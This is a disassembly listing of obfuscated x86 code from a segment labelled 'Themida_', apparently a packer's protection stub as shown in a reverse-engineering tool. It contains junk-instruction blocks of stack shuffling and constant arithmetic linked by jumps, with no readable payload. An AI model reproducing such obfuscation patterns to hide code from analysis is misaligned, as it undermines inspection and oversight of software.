loc_5A6036:				; CODE XREF: Themida_:005A808Bj
		add	esi, 4
		push	ebp
		jmp	loc_5A321D
; ---------------------------------------------------------------------------


loc_5A6042:				; CODE XREF: Themida_:loc_5A7CB4j
		neg	ah
		jge	loc_5AEF71
		xor	ah, 0BCh
		jmp	loc_5AE78B
; ---------------------------------------------------------------------------


loc_5A6052:				; CODE XREF: Themida_:00598A98j
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		sub	ebx, 44CD5745h
		add	ebx, ebp
		add	ebx, 44CD5745h
		pop	ebp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_598BCE
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_59BC44
; ---------------------------------------------------------------------------


loc_5A60A8:				; CODE XREF: Themida_:005AA275j
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5AE3AA
; ---------------------------------------------------------------------------


loc_5A60C3:				; CODE XREF: Themida_:005AA8EDj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	283Fh
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		jmp	loc_5A38EF
; ---------------------------------------------------------------------------


loc_5A60DD:				; CODE XREF: Themida_:005A69FFj
					; Themida_:005AE551j
		push	14B4h
		mov	[esp], eax
		push	5FCFh
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A35A4
; ---------------------------------------------------------------------------


loc_5A60FA:				; CODE XREF: Themida_:005A4ECFj
		dec	edx
		jmp	loc_5A5F13
; ---------------------------------------------------------------------------


loc_5A6100:				; CODE XREF: Themida_:005A9816j
		jmp	loc_5AC353
; ---------------------------------------------------------------------------


loc_5A6105:				; DATA XREF: Themida_:0059890Do
		mov	cx, [esp]
		jmp	loc_5A9712
; ---------------------------------------------------------------------------


loc_5A610E:				; CODE XREF: Themida_:005A6989j
		mov	ebp, 4
		push	esi
		mov	esi, 69AA6793h
		sub	eax, esi
		pop	esi
		add	eax, 794C061Bh
		jmp	loc_5A37FC
; ---------------------------------------------------------------------------


loc_5A6126:				; CODE XREF: Themida_:00599FB3j
					; Themida_:005A8ED5j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, eax
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	eax
		xor	edi, ebx
		jmp	loc_5AEF26
; ---------------------------------------------------------------------------


loc_5A6141:				; CODE XREF: Themida_:005A49E2j
					; Themida_:loc_5A68B5j
		add	ebx, 0BAD26954h
		mov	edi, ebx
		pop	ebx
		push	edx
		mov	edx, 52977B51h
		and	edi, edx
		jmp	loc_5A8E95
; ---------------------------------------------------------------------------


loc_5A6157:				; CODE XREF: Themida_:005A79E7j
		push	eax
		mov	eax, 516C5600h
		add	[esp+8], eax
		pop	eax
		sub	dword ptr [esp+4], 579D1D34h
		pop	ebp
		jmp	loc_5A40DF
; ---------------------------------------------------------------------------


loc_5A6170:				; CODE XREF: Themida_:005AABD8j
		add	bl, 0B6h
		jmp	loc_59D673
; ---------------------------------------------------------------------------


loc_5A6178:				; CODE XREF: Themida_:0059CAC2j
		mov	eax, 76DE447Dh
		shr	eax, 1
		push	ebp
		mov	ebp, 1FC40826h
		and	eax, ebp
		pop	ebp
		add	eax, 1A92E97h
		add	eax, 7AD96CCEh
		sub	eax, 23A62029h
		jmp	loc_599CEF
; ---------------------------------------------------------------------------


loc_5A619C:				; CODE XREF: Themida_:005A9A06j
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		xchg	ecx, [esp]
		jmp	loc_5A3040
; ---------------------------------------------------------------------------


loc_5A61B1:				; CODE XREF: Themida_:0059A8BDj
		shr	ecx, 3
		jmp	loc_5A709E
; ---------------------------------------------------------------------------


loc_5A61B9:				; CODE XREF: Themida_:005ABA1Dj
		sub	al, dh
		pop	dx
		pop	ecx
		push	67B2h
		mov	[esp], edx
		mov	dl, 8Ch
		or	dl, 0C4h
		xor	dl, 62h
		sub	al, dl
		pop	edx
		push	67ABh
		mov	[esp], ebx
		mov	bl, 73h
		push	small 34DAh
		mov	[esp], cx
		jmp	loc_5A5E95
; ---------------------------------------------------------------------------


loc_5A61E8:				; CODE XREF: Themida_:005A3AEAj
		js	loc_5A99C7
		add	esi, 58BD57FAh
		jmp	loc_59B498
; ---------------------------------------------------------------------------


loc_5A61F9:				; CODE XREF: Themida_:0059D6E8j
		mov	ebx, [esp]
		add	esp, 4
		add	al, 19h
		add	al, cl
		jmp	loc_5AAF75
; ---------------------------------------------------------------------------


loc_5A6208:				; CODE XREF: Themida_:0059D2C7j
					; Themida_:0059EA34j
		pop	esp
		push	64h
		mov	[esp], ecx
		mov	ecx, 84F394Ch
		push	edx
		mov	edx, 0ECE5187h
		or	ecx, edx
		pop	edx
		jmp	loc_5AC39A
; ---------------------------------------------------------------------------


loc_5A6224:				; CODE XREF: Themida_:0059DAC0j
		pop	edi
		shl	edi, 5
		add	edi, 5B3755BBh
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	eax, 1
		add	eax, 19C86932h
		jo	loc_5A84F1
		shr	eax, 2
		jmp	loc_5AAEBC
; ---------------------------------------------------------------------------


loc_5A6251:				; CODE XREF: Themida_:005A94C3j
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		sub	edi, ebx
		jmp	loc_5A049A
; ---------------------------------------------------------------------------


loc_5A6274:				; CODE XREF: Themida_:005A41A2j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_599BB3
; ---------------------------------------------------------------------------


loc_5A6284:				; CODE XREF: Themida_:005A56DDj
		add	esi, ecx
		jmp	loc_5AA9E2
; ---------------------------------------------------------------------------


loc_5A628B:				; CODE XREF: Themida_:005A59FEj
		mov	edi, 4
		sub	esi, 7A4B35CFh
		jmp	loc_5AED20
; ---------------------------------------------------------------------------


loc_5A629B:				; CODE XREF: Themida_:0059DA84j
		push	ebp
		push	ebx
		mov	ebx, 2
		mov	ebp, ebx
		pop	ebx
		sub	ebx, 57E95E3Eh
		add	ebx, ebp
		push	ebp
		push	edi
		sub	esp, 4
		jmp	loc_5AD7A9
; ---------------------------------------------------------------------------


loc_5A62B7:				; CODE XREF: Themida_:005A8F84j
		or	edi, 152627D7h
		shr	edi, 4
		push	eax
		mov	eax, 3AD3E5E7h
		jmp	loc_59FB94
; ---------------------------------------------------------------------------


loc_5A62CB:				; CODE XREF: Themida_:005A358Bj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A4F44
; ---------------------------------------------------------------------------


loc_5A62D9:				; CODE XREF: Themida_:0059971Ej
		push	dword ptr [esp+4]
		jmp	loc_5A8D33
; ---------------------------------------------------------------------------


loc_5A62E2:				; CODE XREF: Themida_:005A297Cj
		pop	ebx
		jmp	loc_5A0D75
; ---------------------------------------------------------------------------


loc_5A62E8:				; CODE XREF: Themida_:0059B9ACj
		and	ecx, 116016A5h
		push	ebx
		mov	ebx, 3A35CE2h
		push	eax
		jmp	loc_5A1E8D
; ---------------------------------------------------------------------------


loc_5A62FA:				; CODE XREF: Themida_:0059EF47j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp


loc_5A6301:				; CODE XREF: Themida_:0059DA3Fj
		push	6D1Bh
		mov	[esp], ebx
		mov	eax, [esp]
		push	3814h
		jmp	loc_5AE2DD
; ---------------------------------------------------------------------------


loc_5A6316:				; CODE XREF: Themida_:0059C88Bj
		mov	edx, [esp]
		add	esp, 4
		add	edx, ebp
		pop	ebp
		push	edi
		mov	edi, 2
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		push	7793h
		mov	[esp], esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_5AA7F5
; ---------------------------------------------------------------------------


loc_5A634E:				; CODE XREF: Themida_:005A6B9Cj
		pop	edx
		add	edi, 4
		push	6BE1h
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_59F272
; ---------------------------------------------------------------------------


loc_5A6363:				; CODE XREF: Themida_:0059C18Aj
		add	eax, 14606081h
		jmp	loc_5A0671
; ---------------------------------------------------------------------------


loc_5A636D:				; CODE XREF: Themida_:00599FD6j
		push	edx
		mov	dl, 0E2h
		mov	ch, dl
		pop	edx
		shr	ch, 6
		and	ch, 1Ch
		sub	ch, 0F9h
		add	ch, 1Fh
		jmp	loc_5990D0
; ---------------------------------------------------------------------------


loc_5A6384:				; CODE XREF: Themida_:005AAB1Aj
		add	eax, 0DB8E193Dh
		mov	esi, eax
		mov	eax, [esp]
		jmp	loc_59FCEA
; ---------------------------------------------------------------------------


loc_5A6393:				; CODE XREF: Themida_:0059E374j
		add	edx, ecx
		pop	ecx
		pop	ecx
		jmp	loc_5A797C
; ---------------------------------------------------------------------------


loc_5A639C:				; CODE XREF: Themida_:005AAF2Aj
		add	edx, ebx
		jmp	loc_5A4FD3
; ---------------------------------------------------------------------------


loc_5A63A3:				; CODE XREF: Themida_:005A2381j
		sub	bl, 0F7h
		sub	bl, 0B1h
		sub	bl, cl
		add	bl, 0B1h
		push	eax
		jmp	loc_59F1A5
; ---------------------------------------------------------------------------


loc_5A63B4:				; CODE XREF: Themida_:005A9825j
		push	ebx
		mov	ebx, 5CBE11C7h
		shr	ebx, 1
		jmp	loc_5A8744
; ---------------------------------------------------------------------------


loc_5A63C1:				; CODE XREF: Themida_:005A9FCAj
		pop	edi
		mov	edi, esi
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	edx, 90BF89F5h
		add	edx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebx
		push	4
		jmp	loc_598E7F
; ---------------------------------------------------------------------------


loc_5A6400:				; CODE XREF: Themida_:005A27FEj
		jnz	loc_599DE1
		shr	edx, 3
		jz	loc_59E842
		and	dl, 74h


loc_5A6412:				; CODE XREF: Themida_:005A4AACj
		neg	ebp
		jmp	loc_5A31EB
; ---------------------------------------------------------------------------


loc_5A6419:				; CODE XREF: Themida_:00599CEAj
		push	eax
		jmp	loc_59FBA7
; ---------------------------------------------------------------------------


loc_5A641F:				; CODE XREF: Themida_:005A6497j
		sub	bh, 30h
		or	ah, bh
		pop	ebx
		jmp	loc_5A175D
; ---------------------------------------------------------------------------


loc_5A642A:				; CODE XREF: Themida_:005AFD8Aj
		xor	ecx, 43682AD2h
		jns	loc_5A140A
		sub	ecx, 37B9612Dh
		jmp	loc_5A7139
; ---------------------------------------------------------------------------


loc_5A6441:				; CODE XREF: Themida_:005AE20Fj
		sub	esp, 4
		push	2138h
		mov	[esp], esp
		jmp	loc_5A3859
; ---------------------------------------------------------------------------


loc_5A6451:				; CODE XREF: Themida_:0059A675j
		sub	edi, 480B4EAEh
		sub	edi, ebx
		add	edi, 480B4EAEh
		pop	ebx
		add	edi, 31731B84h
		sub	edi, ebp
		sub	edi, 31731B84h
		add	edi, 280971D8h
		push	dword ptr [esp]
		jmp	loc_5A4215
; ---------------------------------------------------------------------------


loc_5A647C:				; CODE XREF: Themida_:005AD71Ej
		add	edi, ebp
		jmp	loc_59C2E8
; ---------------------------------------------------------------------------


loc_5A6483:				; CODE XREF: Themida_:0059F7C0j
		pop	edx
		jmp	loc_5A10FC
; ---------------------------------------------------------------------------


loc_5A6489:				; CODE XREF: Themida_:005A7670j
					; Themida_:005A7D54j ...
		pop	esp
		jmp	loc_5ACDC7
; ---------------------------------------------------------------------------


loc_5A648F:				; CODE XREF: Themida_:005A1004j
		push	eax
		mov	ah, 68h
		push	ebx
		mov	bh, 50h
		dec	bh
		jmp	loc_5A641F
; ---------------------------------------------------------------------------


loc_5A649C:				; CODE XREF: Themida_:0059BD93j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	ebp, 4
		jmp	loc_5A150C
; ---------------------------------------------------------------------------


loc_5A64B4:				; CODE XREF: Themida_:005AD8FBj
		add	ebx, edi
		add	ebx, 0EB10760h
		pop	edi
		push	ecx
		jmp	loc_5AD5EB
; ---------------------------------------------------------------------------


loc_5A64C3:				; CODE XREF: Themida_:005A1F0Dj
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		shr	ecx, 0Ah
		sub	esp, 4
		jmp	loc_5A28C1
; ---------------------------------------------------------------------------


loc_5A64D7:				; CODE XREF: Themida_:005A6D2Ej
		pop	ecx
		neg	ebp
		add	ebp, 2B4D7FC2h
		add	ebx, ebp
		push	dword ptr [esp]
		jmp	loc_5A1490
; ---------------------------------------------------------------------------


loc_5A64EA:				; CODE XREF: Themida_:0059B401j
		sub	ecx, 20C02FDh
		jmp	loc_5ACC67
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	194h
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		jmp	loc_5A228F
; ---------------------------------------------------------------------------


loc_5A650A:				; CODE XREF: Themida_:005AD207j
		pop	edi
		add	esp, 4
		push	edx
		mov	edx, 409D32BBh
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 127229DBh
		push	ebx
		push	esi
		mov	esi, 54F45565h
		inc	esi
		or	esi, 15F9738Dh
		js	loc_5A5173
		neg	esi
		xor	esi, 565064D7h
		jnp	loc_59C59E
		jmp	loc_5A14FF
; ---------------------------------------------------------------------------


loc_5A654C:				; CODE XREF: Themida_:0059D3F4j
		pop	ecx
		add	[esp+4], edi
		pop	edi
		jmp	loc_5A0FD2
; ---------------------------------------------------------------------------


loc_5A6557:				; CODE XREF: Themida_:005A2732j
					; Themida_:005A5682j
		mov	esp, [esp]
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edi
		jmp	loc_5AB8D9
; ---------------------------------------------------------------------------


loc_5A656B:				; CODE XREF: Themida_:005A1405j
		mov	ecx, [esp]
		add	esp, 4
		sub	ebp, 252451AFh
		add	ebp, ebx
		add	ebp, 252451AFh
		jmp	loc_5A3849
; ---------------------------------------------------------------------------


loc_5A6587:				; CODE XREF: Themida_:005AD92Aj
		neg	edi
		jmp	loc_5ADB9C
; ---------------------------------------------------------------------------


loc_5A658E:				; CODE XREF: Themida_:005A7268j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_59D331
; ---------------------------------------------------------------------------


loc_5A65A2:				; CODE XREF: Themida_:005A9D53j
		mov	ebx, [esp]
		add	esp, 4
		dec	dword ptr [edx+38h]
		jnz	loc_5AB869
		and	dword ptr [edx+38h], 371A3221h
		jnb	loc_5A49D3
		mov	ebp, eax


loc_5A65C0:				; CODE XREF: Themida_:005A0A49j
		mov	edi, 0D3674Ch
		add	ecx, edi
		jmp	loc_59A3DF
; ---------------------------------------------------------------------------


loc_5A65CC:				; CODE XREF: Themida_:0059D979j
		mov	bh, 30h
		jmp	loc_5A57FA
; ---------------------------------------------------------------------------


loc_5A65D3:				; CODE XREF: Themida_:005A70C2j
		mov	ch, 44h
		mov	dl, ch
		pop	ecx
		sub	dl, 64h
		push	edx
		inc	byte ptr [esp]
		pop	edx
		shl	dl, 8
		and	dl, 0DAh
		push	ax
		mov	ah, 0EEh
		sub	dl, ah
		pop	ax
		sub	bl, dl
		pop	edx
		movzx	eax, al
		mov	dx, [esp]
		push	0E4Eh
		mov	[esp], ebx
		jmp	loc_5A1C6E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	4781h
		mov	[esp], edx
		push	12A4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		jmp	loc_59BA1E
; ---------------------------------------------------------------------------


loc_5A6625:				; CODE XREF: Themida_:005AA573j
		sub	edx, 4
		jmp	loc_5AF431
; ---------------------------------------------------------------------------


loc_5A662D:				; CODE XREF: Themida_:0059D727j
					; Themida_:005A318Fj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A663B:				; CODE XREF: Themida_:005A8412j
		mov	edi, 5CE602F5h
		sub	edi, 5E1A4347h
		not	edi
		jmp	loc_5A0142
; ---------------------------------------------------------------------------


loc_5A664D:				; CODE XREF: Themida_:005A861Bj
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5A2F44
; ---------------------------------------------------------------------------


loc_5A6664:				; CODE XREF: Themida_:005AAF17j
		sub	esi, 721A0530h
		jmp	loc_59C7FD
; ---------------------------------------------------------------------------


loc_5A666F:				; CODE XREF: Themida_:0059E9EFj
		jnp	loc_5A9374
		jmp	loc_5A4FB6
; ---------------------------------------------------------------------------
		jns	loc_59EDAC


loc_5A6680:				; CODE XREF: Themida_:0059E5C4j
		mov	ecx, [esp]
		jmp	loc_5A7A2F
; ---------------------------------------------------------------------------


loc_5A6688:				; CODE XREF: Themida_:005A3B21j
		add	esp, 4
		push	41F6h
		mov	[esp], edx
		mov	edx, 2A9C011Bh
		shl	edx, 8
		jnp	loc_59E0DE
		jmp	loc_5A13D6
; ---------------------------------------------------------------------------


loc_5A66A9:				; CODE XREF: Themida_:0059CB07j
		mov	[esp], di
		mov	di, 15E8h
		sub	[esp+4], di
		pop	di
		add	word ptr [esp+2], 3B15h
		pop	cx
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A66C6:				; CODE XREF: Themida_:005A0DE2j
		xor	[esp], edi
		jmp	loc_5AC791
; ---------------------------------------------------------------------------


loc_5A66CE:				; CODE XREF: Themida_:0059BFEEj
		or	ebx, 0D181B53h
		jmp	loc_5A7791
; ---------------------------------------------------------------------------


loc_5A66D9:				; CODE XREF: Themida_:005AC127j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 20AD2E00h
		shr	eax, 7
		jns	loc_5A3358
		add	eax, 21A53C47h
		jo	loc_59EF46
		pop	edi


loc_5A670C:				; CODE XREF: Themida_:0059F751j
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A6716:				; CODE XREF: Themida_:0059E63Dj
		jmp	loc_5A1DFD
; ---------------------------------------------------------------------------


loc_5A671B:				; CODE XREF: Themida_:005A08E7j
		push	eax
		mov	eax, 52CD203Ah
		xor	eax, 552C3287h
		and	edi, eax
		mov	eax, [esp]
		add	esp, 4
		shr	edi, 4
		not	edi
		push	68EDh
		mov	[esp], edi
		not	dword ptr [esp]
		pop	edi
		dec	edi
		add	edi, 0FFDBF005h
		add	edx, edi
		jmp	loc_5A7DB0
; ---------------------------------------------------------------------------


loc_5A6750:				; CODE XREF: Themida_:005ABF51j
		mov	bl, 0C5h
		add	al, bl
		mov	bx, [esp]
		add	esp, 2
		add	al, dh
		sub	al, 0C5h
		sub	al, 0BBh
		add	al, 4Fh
		jmp	loc_59CA13
; ---------------------------------------------------------------------------


loc_5A6768:				; CODE XREF: Themida_:005A30A7j
					; Themida_:005ADCEBj
		neg	ebx
		sub	ebx, 318B78F0h
		push	esi
		mov	esi, 19CA2607h
		dec	esi
		or	esi, 0DB8193Bh
		add	esi, 56372AD5h
		sub	ebx, 16815B24h
		add	ebx, esi
		jmp	loc_59A108
; ---------------------------------------------------------------------------


loc_5A6790:				; CODE XREF: Themida_:005AC030j
		add	ecx, 2
		jmp	loc_59FCDA
; ---------------------------------------------------------------------------
		dd 66D830ACh, 6CE95253h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A67A3:				; CODE XREF: Themida_:0059A171j
		shr	edi, 4
		sub	edi, offset word_5E2AFA
		jmp	loc_5996E6
; ---------------------------------------------------------------------------


loc_5A67B1:				; CODE XREF: Themida_:0059F569j
		add	ebx, 350E23FDh
		add	ebx, 5C5B487Ch
		jmp	loc_5AF299
; ---------------------------------------------------------------------------


loc_5A67C2:				; CODE XREF: Themida_:005A4FFDj
		mov	[esp], eax
		jmp	loc_59D310
; ---------------------------------------------------------------------------


loc_5A67CA:				; CODE XREF: Themida_:005A2387j
					; Themida_:005A41E8j ...
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	edi
		push	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 759C6D12h
		mov	esi, ecx
		pop	ecx
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		dec	edi
		jmp	loc_59B02D
; ---------------------------------------------------------------------------


loc_5A67F4:				; CODE XREF: Themida_:0059DE62j
		push	edi
		mov	di, 37EDh
		not	di
		xor	di, 2D5Ch
		inc	di
		not	di
		add	di, 5D33h
		sub	di, 544Fh
		sub	bx, di
		mov	edi, [esp]
		add	esp, 4
		mov	dx, bx
		jmp	loc_59EE0E
; ---------------------------------------------------------------------------


loc_5A6821:				; CODE XREF: Themida_:005ACBA4j
		pop	eax
		mov	eax, [esp]
		push	119Fh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5AE333
; ---------------------------------------------------------------------------


loc_5A6843:				; CODE XREF: Themida_:0059E34Fj
		jmp	loc_59CB95
; ---------------------------------------------------------------------------


loc_5A6848:				; CODE XREF: Themida_:005AD8E8j
		dec	word ptr [esp]
		pushf
		jmp	loc_5AE888
; ---------------------------------------------------------------------------


loc_5A6852:				; CODE XREF: Themida_:005A6B1Ej
		push	dword ptr [esp]
		jmp	loc_5A3499
; ---------------------------------------------------------------------------


loc_5A685A:				; CODE XREF: Themida_:0059E7B9j
		mov	ebp, ebx
		pop	ebx
		mov	ebx, 0C22F9333h
		add	ebx, ebp
		pop	ebp
		add	ecx, ebx
		jmp	loc_5A4E19
; ---------------------------------------------------------------------------


loc_5A686C:				; CODE XREF: Themida_:0059EC9Ej
		sub	dword ptr [esp+4], 6F405773h
		pop	ebx
		pop	ecx
		push	eax
		mov	eax, 22381755h
		jmp	loc_5A7811
; ---------------------------------------------------------------------------


loc_5A6881:				; CODE XREF: Themida_:005A963Bj
		mov	[esp], esi
		mov	esi, 11424521h
		dec	esi
		jnz	loc_59992B
		or	esi, 5E947282h
		mov	al, bh
		mov	eax, ebx


loc_5A689A:				; CODE XREF: Themida_:00599209j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	6838h
		mov	[esp], edi
		push	ebp
		jmp	loc_5A039C
; ---------------------------------------------------------------------------


loc_5A68B5:				; CODE XREF: Themida_:loc_59ED32j
		jmp	loc_5A6141
; ---------------------------------------------------------------------------


loc_5A68BA:				; CODE XREF: Themida_:005A9E97j
					; Themida_:005AB36Aj
		pop	ecx
		not	edi
		add	edi, 6E20F691h
		jmp	loc_5A7628
; ---------------------------------------------------------------------------


loc_5A68C8:				; CODE XREF: Themida_:005A272Aj
		push	ebx
		jmp	loc_5AC33B
; ---------------------------------------------------------------------------


loc_5A68CE:				; DATA XREF: Themida_:0059872Co
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		push	ecx
		jmp	loc_59E5AE
; ---------------------------------------------------------------------------


loc_5A68E0:				; CODE XREF: Themida_:0059E1A4j
		mov	ebx, [esp]
		jmp	loc_5AA717
; ---------------------------------------------------------------------------


loc_5A68E8:				; CODE XREF: Themida_:005A4E99j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59D9FC
; ---------------------------------------------------------------------------


loc_5A68F1:				; CODE XREF: Themida_:0059E5A9j
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		push	esi
		push	ebp
		jmp	loc_5A7EFC
; ---------------------------------------------------------------------------


loc_5A6901:				; CODE XREF: Themida_:0059ED53j
		sub	cl, dl
		push	ebx
		mov	bh, 0C3h
		add	cl, bh
		jmp	loc_59AA08
; ---------------------------------------------------------------------------


loc_5A690D:				; CODE XREF: Themida_:005A1FE0j
		jmp	loc_5A09F8
; ---------------------------------------------------------------------------


loc_5A6912:				; CODE XREF: Themida_:005A0495j
		push	esp
		jmp	loc_5A4731
; ---------------------------------------------------------------------------


loc_5A6918:				; CODE XREF: Themida_:0059E255j
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A691D:				; CODE XREF: Themida_:00599622j
		push	edx
		jmp	loc_5A4A5B
; ---------------------------------------------------------------------------


loc_5A6923:				; CODE XREF: Themida_:005AFAE8j
		xchg	ebp, ecx
		dec	ebp
		xchg	ebp, ecx
		jmp	loc_59D570
; ---------------------------------------------------------------------------


loc_5A692D:				; CODE XREF: Themida_:005AEDC4j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5ADDFA
; ---------------------------------------------------------------------------


loc_5A693B:				; CODE XREF: Themida_:005A220Ej
		push	ecx
		mov	ecx, 4E77E6Eh
		jmp	loc_5A9BD6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_598BB3
; ---------------------------------------------------------------------------


loc_5A6952:				; CODE XREF: Themida_:005AA9F0j
		push	dword ptr [esp+4]
		jmp	loc_5AE4D4
; ---------------------------------------------------------------------------


loc_5A695B:				; CODE XREF: Themida_:0059B688j
		add	ebp, 0ED6EE518h
		jmp	loc_59D508
; ---------------------------------------------------------------------------


loc_5A6966:				; CODE XREF: Themida_:0059FC19j
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	edx
		push	esp
		pop	edx
		push	42EBh
		jmp	loc_5A8406
; ---------------------------------------------------------------------------


loc_5A6981:				; CODE XREF: Themida_:0059B1C9j
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_5A610E
; ---------------------------------------------------------------------------


loc_5A698E:				; CODE XREF: Themida_:0059D057j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	eax, ebx
		mov	ebx, [esp]
		jmp	loc_5A7284
; ---------------------------------------------------------------------------


loc_5A69AE:				; CODE XREF: Themida_:005A8CADj
		add	esp, 4
		jmp	loc_5A43B8
; ---------------------------------------------------------------------------


loc_5A69B9:				; CODE XREF: Themida_:005997D6j
					; Themida_:005A1EACj
		add	edi, 1
		push	edx
		mov	edx, 25BE3C5Ch
		xor	edi, edx
		pop	edx
		add	edi, 5C627568h
		xor	edi, 0D4647EC1h
		push	ebp
		mov	ebp, 38364848h
		jmp	loc_5ABD21
; ---------------------------------------------------------------------------


loc_5A69DC:				; DATA XREF: Themida_:00598854o
		lodsd
		xor	eax, ebx
		push	ecx
		sub	esp, 4
		jmp	loc_59EEBB
; ---------------------------------------------------------------------------


loc_5A69EB:				; CODE XREF: Themida_:005A0DC7j
		sub	ch, 16h
		jmp	loc_5A1243
; ---------------------------------------------------------------------------


loc_5A69F3:				; CODE XREF: Themida_:0059D653j
		mov	[esp], esi
		jmp	loc_5A205D
; ---------------------------------------------------------------------------


loc_5A69FB:				; DATA XREF: Themida_:005987B0o
		mov	cx, [esp]
		jmp	loc_5A60DD
; ---------------------------------------------------------------------------


loc_5A6A04:				; CODE XREF: Themida_:0059C1E2j
		push	ebp
		jmp	loc_5A576A
; ---------------------------------------------------------------------------


loc_5A6A0A:				; CODE XREF: Themida_:0059C138j
		mov	ecx, 640E47F2h
		not	ecx
		or	ecx, 0DC036E5h
		jnb	loc_59C7D3
		and	ecx, 0BA5305Dh
		mov	esi, ecx
		mov	ch, al


loc_5A6A27:				; CODE XREF: Themida_:005A3CC7j
		add	edx, 3E454F5h
		add	edx, eax
		sub	edx, 3E454F5h
		add	edx, 5A746C19h
		mov	eax, [esp]
		add	esp, 4
		add	edx, 4
		push	3007h
		mov	[esp], edx
		jmp	loc_5AC864
; ---------------------------------------------------------------------------


loc_5A6A54:				; CODE XREF: Themida_:005A7876j
		mov	eax, 0D3C53FEh
		add	edi, eax
		pop	eax
		pop	ebx
		jmp	loc_5A77B1
; ---------------------------------------------------------------------------


loc_5A6A62:				; DATA XREF: Themida_:00598748o
		mov	ax, [esp]
		push	ebp
		jmp	loc_5A40E7
; ---------------------------------------------------------------------------


loc_5A6A6C:				; CODE XREF: Themida_:005A9F15j
		xchg	edx, [esp]
		jmp	loc_5A57E2
; ---------------------------------------------------------------------------


loc_5A6A74:				; CODE XREF: Themida_:005A469Cj
					; Themida_:005A7C27j
		pop	ebx
		mov	ebx, eax
		jmp	loc_59F731
; ---------------------------------------------------------------------------


loc_5A6A7C:				; CODE XREF: Themida_:005AB4D5j
					; Themida_:005AC04Aj
		push	4B22h
		mov	[esp], ebp
		mov	ebp, ebx
		jmp	loc_599DF7
; ---------------------------------------------------------------------------


loc_5A6A8B:				; CODE XREF: Themida_:005A1C06j
		mov	[esp], esi
		mov	esi, 77AE7E3Dh
		jmp	loc_598BD9
; ---------------------------------------------------------------------------


loc_5A6A98:				; CODE XREF: Themida_:loc_59BF00j
		xor	edx, 26F662E8h
		sub	edx, 0E75A2484h
		push	ebp
		mov	ebp, edx
		mov	ebx, ebp
		jmp	loc_5A1943
